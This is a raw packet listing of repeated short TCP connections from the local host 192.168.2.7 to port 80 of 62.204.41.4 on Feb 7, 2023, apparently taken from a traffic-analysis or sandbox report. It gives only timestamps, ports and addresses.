Feb 7, 2023 23:08:53.827948093 CET	50110	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.828504086 CET	80	50109	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.828598976 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.888302088 CET	80	50110	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.893883944 CET	80	50110	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.895143986 CET	50110	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.023752928 CET	50110	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.024693012 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.084604025 CET	80	50110	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.084711075 CET	50110	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.085119963 CET	80	50111	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.085218906 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.086077929 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.146595955 CET	80	50111	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.151463032 CET	80	50111	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.151597023 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.268260956 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.269474030 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.329181910 CET	80	50111	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.329349041 CET	50111	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.329885960 CET	80	50112	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.330733061 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.333220005 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.393685102 CET	80	50112	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.396852970 CET	80	50112	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.405019999 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.522547960 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.522727966 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.583359957 CET	80	50112	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.583976984 CET	50112	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.584182024 CET	80	50113	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.584295988 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.584709883 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.646162033 CET	80	50113	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.649357080 CET	80	50113	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.650250912 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.751857996 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.752607107 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.813041925 CET	80	50114	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.813194036 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.813556910 CET	80	50113	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.813585997 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.813668966 CET	50113	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.873877048 CET	80	50114	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.876275063 CET	80	50114	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:54.876693964 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.989893913 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:54.990890026 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.050476074 CET	80	50114	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.050564051 CET	50114	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.052217960 CET	80	50115	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.052352905 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.052783012 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.114146948 CET	80	50115	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.117238998 CET	80	50115	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.124488115 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.238801956 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.239545107 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.300479889 CET	80	50115	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.301260948 CET	80	50116	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.303881884 CET	50115	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.303951025 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.305221081 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.367031097 CET	80	50116	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.369998932 CET	80	50116	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.370203972 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.475462914 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.479777098 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.537632942 CET	80	50116	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.537910938 CET	50116	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.541771889 CET	80	50117	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.551829100 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.559827089 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.621799946 CET	80	50117	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.626091957 CET	80	50117	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.636442900 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.752968073 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.753762007 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.814932108 CET	80	50117	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.815152884 CET	80	50118	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.822299004 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.822462082 CET	50117	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.823225021 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.884845972 CET	80	50118	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.888909101 CET	80	50118	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:55.889020920 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.994764090 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:55.995462894 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.055200100 CET	80	50119	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.055342913 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.055732012 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.056224108 CET	80	50118	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.056318998 CET	50118	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.118465900 CET	80	50119	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.118506908 CET	80	50119	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.122087955 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.244827986 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.245508909 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.305037022 CET	80	50119	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.306341887 CET	50119	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.306531906 CET	80	50120	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.306673050 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.307441950 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.368258953 CET	80	50120	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.370866060 CET	80	50120	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.371005058 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.478934050 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.479638100 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.539407969 CET	80	50120	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.539980888 CET	50120	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.541096926 CET	80	50121	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.541251898 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.541604042 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.605017900 CET	80	50121	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.608396053 CET	80	50121	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.623760939 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.750941992 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.752819061 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.813054085 CET	80	50121	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.815787077 CET	80	50122	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.820935011 CET	50121	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.821024895 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.823302031 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:56.887166023 CET	80	50122	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.890953064 CET	80	50122	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:56.891097069 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.016288042 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.016908884 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.079035997 CET	80	50122	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.079935074 CET	80	50123	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.094212055 CET	50122	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.094397068 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.096759081 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.159364939 CET	80	50123	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.161602974 CET	80	50123	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.166857004 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.280462980 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.281995058 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.343245029 CET	80	50123	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.343461037 CET	80	50124	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.343826056 CET	50123	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.343923092 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.344638109 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.406162024 CET	80	50124	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.409598112 CET	80	50124	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.409725904 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.535964966 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.537652016 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.598875046 CET	80	50124	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.599047899 CET	50124	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.600164890 CET	80	50125	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.600316048 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.600770950 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.663737059 CET	80	50125	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.666326046 CET	80	50125	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.669477940 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.789987087 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.794050932 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.852639914 CET	80	50125	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.852844954 CET	50125	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.854868889 CET	80	50126	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.855031967 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.855566978 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:57.916306973 CET	80	50126	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.920010090 CET	80	50126	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:57.920238972 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.026741028 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.027472019 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.087871075 CET	80	50126	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.088080883 CET	50126	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.088882923 CET	80	50127	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.089092016 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.089433908 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.150842905 CET	80	50127	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.156618118 CET	80	50127	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.156758070 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.273452997 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.274413109 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.335261106 CET	80	50127	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.335319996 CET	80	50128	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.335418940 CET	50127	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.335458994 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.335870028 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.396600962 CET	80	50128	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.398947954 CET	80	50128	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.399074078 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.508019924 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.508768082 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.568905115 CET	80	50128	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.569021940 CET	50128	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.569372892 CET	80	50129	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.569478035 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.570310116 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.630911112 CET	80	50129	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.633084059 CET	80	50129	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.633275986 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.749430895 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.750109911 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.810203075 CET	80	50129	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.810301065 CET	50129	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.811907053 CET	80	50130	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.812058926 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.812896967 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.873056889 CET	80	50130	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.875322104 CET	80	50130	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:58.875423908 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.995724916 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:58.996433020 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.055811882 CET	80	50131	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.055954933 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.055974007 CET	80	50130	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.056041956 CET	50130	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.066086054 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.125631094 CET	80	50131	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.130352020 CET	80	50131	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.130481958 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.248949051 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.249774933 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.308583021 CET	80	50131	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.308911085 CET	50131	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.312025070 CET	80	50132	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.313293934 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.313659906 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.375886917 CET	80	50132	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.378097057 CET	80	50132	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.380542994 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.494680882 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.495459080 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.557137012 CET	80	50132	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.557169914 CET	80	50133	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.557246923 CET	50132	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.557282925 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.557976961 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.619626045 CET	80	50133	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.622168064 CET	80	50133	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.622307062 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.726224899 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.727024078 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.788045883 CET	80	50133	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.788248062 CET	50133	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.788439035 CET	80	50134	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.789174080 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.789777040 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.851391077 CET	80	50134	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.854084015 CET	80	50134	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:59.855123043 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.959599972 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:59.962977886 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.021404982 CET	80	50134	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.022516012 CET	80	50135	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.022684097 CET	50134	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.022768021 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.033380032 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.093044043 CET	80	50135	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.097311020 CET	80	50135	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.099464893 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.210867882 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.211891890 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.270545006 CET	80	50135	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.273058891 CET	50135	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.273361921 CET	80	50136	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.273479939 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.282670021 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.344361067 CET	80	50136	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.346760988 CET	80	50136	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.346935987 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.462057114 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.463804007 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.523741007 CET	80	50136	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.523823023 CET	50136	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.524250984 CET	80	50137	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.524506092 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.524988890 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.585385084 CET	80	50137	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.587641001 CET	80	50137	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.587949991 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.697016001 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.698724031 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.757827044 CET	80	50137	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.760247946 CET	50137	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.760354996 CET	80	50138	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.760554075 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.761131048 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.822916031 CET	80	50138	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.826219082 CET	80	50138	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:00.827476978 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.944200039 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:00.944905043 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.005198956 CET	80	50139	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.005683899 CET	80	50138	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.005928993 CET	50138	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.006926060 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.006926060 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.067325115 CET	80	50139	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.071893930 CET	80	50139	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.073568106 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.179023981 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.182136059 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.239756107 CET	80	50139	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.239881992 CET	50139	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.242662907 CET	80	50140	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.242933035 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.270108938 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.330826998 CET	80	50140	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.334685087 CET	80	50140	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.335477114 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.484860897 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.485800028 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.545588017 CET	80	50140	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.545864105 CET	50140	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.547040939 CET	80	50141	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.547274113 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.548249006 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.609733105 CET	80	50141	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.614281893 CET	80	50141	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.614427090 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.725596905 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.726602077 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.787077904 CET	80	50141	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.787229061 CET	50141	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.789244890 CET	80	50142	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.789534092 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.792841911 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.855318069 CET	80	50142	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.858047009 CET	80	50142	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:01.858205080 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.962805033 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:01.964085102 CET	50143	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.025304079 CET	80	50142	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.025443077 CET	50142	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.026568890 CET	80	50143	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.026738882 CET	50143	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.035666943 CET	50143	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.098047972 CET	80	50143	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.103218079 CET	80	50143	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.103315115 CET	50143	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.210793018 CET	50143	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.215970039 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.273288012 CET	80	50143	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.273530960 CET	50143	80	192.168.2.7	62.204.41.4
